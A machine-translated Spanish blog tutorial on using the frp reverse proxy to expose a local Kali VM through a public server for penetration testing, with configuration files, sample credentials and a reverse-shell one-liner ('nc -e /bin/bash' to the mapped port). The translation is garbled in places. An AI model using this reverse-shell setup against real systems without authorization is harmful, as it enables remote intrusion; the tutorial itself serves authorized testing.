Penetración de intranet de Frp: uso del proxy kali en la red pública para pruebas de penetración

prefacio

Debido a que kali se usa a menudo para el trabajo, pero el servidor de la red pública no tiene una imagen de kali instalada, solo la máquina virtual de kali está instalada localmente, y la penetración de msf a menudo necesita rebotar el shell a kali, pero kali en la intranet no tiene una dirección IP de red pública, por lo que el servicio en la intranet se puede asignar al puerto de la dirección IP pública a través de la herramienta frp

En el pasado, el sol se volvía más lento y los automóviles, los caballos y el correo disminuían la velocidad.

Introducción a FRP

frp es una aplicación de proxy inverso de alto rendimiento que adopta la arquitectura C/S (cliente/servidor) y puede asignar tcp, udp, http, https y otros protocolos en el cliente al puerto correspondiente del servidor a través de una configuración simple Arriba, puede acceder al servicio correspondiente al cliente accediendo al puerto correspondiente al servidor.
El efecto de frp es más o menos el siguiente: al acceder a un determinado puerto del servidor de la red pública, puede acceder a un determinado servicio en el servidor de la red interna.
inserte la descripción de la imagen aquí

herramientas de preparación

Para completar la penetración interna y externa de frp, debe preparar los siguientes recursos/herramientas

  • Servidor de red pública, aquí uso CentOS7.6
  • herramienta de servidor/cliente frp, descarga de github
  • Servidor de intranet o máquina local, aquí uso máquina virtual kali2020

frp descargar enlace github
descripción frp enlace github
aquí también proporciona recursos de disco de red
de arquitectura amd64 Enlace: https://pan.baidu.com/s/1cLO2hI4t9wiJ4aAl0axUsw
Código de extracción:
el servidor y el cliente de la herramienta qwer frp no necesitan descargarse por separado, cuando implementación Elija la implementación del lado del servidor o del lado del cliente

Darse cuenta de la penetración de la intranet

configuración del servidor frp

Primero cargue la herramienta frp descargada al servidor [aquí uso FinalShell para cargar archivos directamente]. Si no es conveniente, también puede usar wget para descargar. El comando tar se descomprime de la siguiente manera: modifique el archivo de configuración frps.ini, aquí Soy el puerto
inserte la descripción de la imagen aquí
80 El servicio http, el servicio ssh en el puerto 22, el servicio tcp en el puerto 9002 y el puerto de escucha utilizado para el shell de rebote de kali se asignan por separado y se pueden configurar según las necesidades:

[common]
# 一、服务器的基本配置部分
# 7000 是FRP服务端口,可以改
bind_port = 7000
# dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
# 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 7500
# 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022
 
# 二、添加的映射端口
[common]
# FRP服务器的公网ip
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1

# FRP服务器的,服务端口,这个可以改,不过客户端的也要一起改才行。
server_port = 7000


# 三、转发端口:[test01]、[test02] 这些没有任何意义,就是大致描述这个端口作用。
# 每增加一个转发端口,复制下面的两行,然后将[]里面的和vhost_http_port_03改了就行了。
#[test01]
#vhost_http_port = 9001
 
#[test02]
#vhost_tcp_port = 1315
#转发端口配置,实际测试这里影响不大,主要取决于客户端的配置
vhost_http_port = 9001
vhost_ssh_port = 9002
vhost_tcp_port = 9003

Inicie el servidor frp de la siguiente manera:
inserte la descripción de la imagen aquí
en este momento, puede ver el estado de ejecución del servicio frp accediendo al puerto del servidor 7500. El nombre de usuario y la contraseña son los valores de dashboard_user y dashboard_pwd configurados anteriormente:

inserte la descripción de la imagen aquí
Hasta ahora, el servidor frp funciona normalmente.

configuración de cliente frp

De la misma manera, cargue la herramienta frp en la máquina virtual kali. Aquí, asegúrese de que kali se pueda conectar a la red normalmente. También use el comando tar para descomprimirlo. Configure el archivo frpc.ini de la siguiente manera:

# 客户端配置
[common]
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1
server_port = 7000          #frp服务端口要和服务端设定的一致
token = frpToken@admin2022  #token要和服务端一致



# 配置http服务,可用于小程序开发、远程调试等,如果没有可以不写下面的
[web]
type = http
local_ip = 0.0.0.0
local_port = 80   #本地需要映射的端口
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9001 #映射到服务端的端口

#kali ssh
[ssh]
type = tcp
local_ip = 0.0.0.0
local_port = 22
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9002  

#tcp msfconsole
[tcp]
type = tcp
local_ip = 0.0.0.0
local_port = 9003
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9003

Ejecute el cliente frp en kali de la siguiente manera. En este momento, asegúrese de que el servidor frp esté funcionando normalmente. Puede ver que los tres puertos que configuramos están asignados normalmente. Si muestra que la conexión es rechazada, puede considerar liberar el puerto correspondiente en el firewall Hasta ahora, tanto el servidor como la
configuración normal del cliente

prueba

Prueba de servicio HTTP

En este punto, use python para abrir un servicio http en kali para probar

python3 -m http.server 80

El servicio http normalmente está habilitado.
inserte la descripción de la imagen aquí
Al acceder a la IP de la red pública, configuramos: el puerto correspondiente, puede ver el servicio HTTP habilitado en Kali.
inserte la descripción de la imagen aquí
También puede ver el enlace de asignación de frp correspondiente en la interfaz del administrador de frp en el puerto 7500.
inserte la descripción de la imagen aquí

Hasta ahora, podemos acceder al servicio correspondiente en el servidor de la intranet accediendo al puerto correspondiente de la IP de la red pública

prueba de servicio ssh

Primero, asegúrese de que el servicio ssh esté normalmente habilitado en Kali, y que el servidor y el cliente frp se inicien normalmente.
inserte la descripción de la imagen aquí
También puede ver el enlace de mapeo frp correspondiente en la interfaz del administrador frp en el puerto 7500. Lo que es confuso aquí es que tanto el El cliente y el servidor frp están configurados. El puerto de mapeo ssh es 9002, pero en realidad conéctese a ssh de acuerdo con el puerto proporcionado por la interfaz de administración y
inserte la descripción de la imagen aquí
pruebe con ssh, puede ver que ha iniciado sesión correctamente en ssh a través del puerto 4880
inserte la descripción de la imagen aquí

Prueba de caparazón de rebote

Cuando se usa la herramienta msf en kali, a menudo es necesario configurar el puerto de escucha local para recuperar el shell. Sin embargo, kali en la máquina virtual no tiene una dirección de red pública, por lo que es difícil probar el servidor en la red pública. El proxy frp resuelve este problema muy bien Problema
En la configuración anterior, configuré un puerto 9003 basado en tcp, que está asignado al puerto 9003 de la máquina virtual kali como el puerto de escucha del shell de rebote, de modo que la máquina virtual kali se puede usar para probar el servidor de red pública. La prueba específica es la siguiente:
primero, habilite el monitoreo en kali
inserte la descripción de la imagen aquí
, luego use otro servidor que pueda conectarse a Internet para recuperar el shell

nc -e /bin/bash 【frp服务器地址】 【frp映射TCP端口】
例:nc -e /bin/bash 1.1.1.1 9003

Después de ejecutar el comando, el shell se recibe con éxito en kali.
inserte la descripción de la imagen aquí
Por supuesto, también puede usar msf para generar carga útil para probar aquí. No continuaré la demostración aquí.

Aviso

Cuando utilice frp para penetrar en la intranet, debe prestar atención. Dado que frp adopta la arquitectura C/S, el acceso del usuario al puerto mapeado del servidor frp es un acceso local desde el punto de vista del cliente, lo que equivale al frp del cliente para acceder a su propio Servicio y luego reenviar el tráfico, el resumen es que el cliente frp piensa que todas las visitas son del local y no puede conocer la IP del visitante real, el servidor frp puede ver la IP del visitante "real" , tal vez el visitante también use un proxy.
Por lo tanto, al acceder a HTTP o ssh arriba, la máquina virtual kali piensa que estas visitas provienen del cliente frp local y no puede saber de dónde proviene el usuario real, que tendrá requisitos más altos para la seguridad. politica del cliente frp

Si tiene alguna otra pregunta, deje un mensaje en el área de comentarios o contácteme ~

Supongo que te gusta

Origin blog.csdn.net/monster663/article/details/126797109
Recomendado
Clasificación